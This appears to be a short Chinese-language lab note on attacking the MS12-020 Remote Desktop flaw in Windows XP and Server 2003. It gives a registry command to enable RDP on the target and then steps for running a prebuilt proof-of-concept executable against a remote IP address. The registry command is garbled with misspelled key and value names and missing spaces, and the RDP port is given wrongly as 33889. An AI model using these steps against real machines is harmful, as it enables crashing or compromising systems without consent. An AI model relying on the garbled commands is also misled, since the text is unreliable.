MS12-020

一般开启33889端口RDP服务（远程桌面服务）的Win XP 和 Win server 2003都有此漏洞
漏洞

MS12-020

1.确保靶机上次漏洞，列如在Windows Server 2003 上修改注册表

进入cmd页面

输入 REG ADD HKLM\SYSTEM\CurrentControlSst\Contro\Terminal""Server\v
fDendyTSConnections/t REG_DWORD/d 0 /f

攻击程序

ms12-020.poc.final.exe

进入cmd界面，cd..到c盘路径 c:>

C:>ms12-020.poc.final.exe

Remote Host Address: IP地址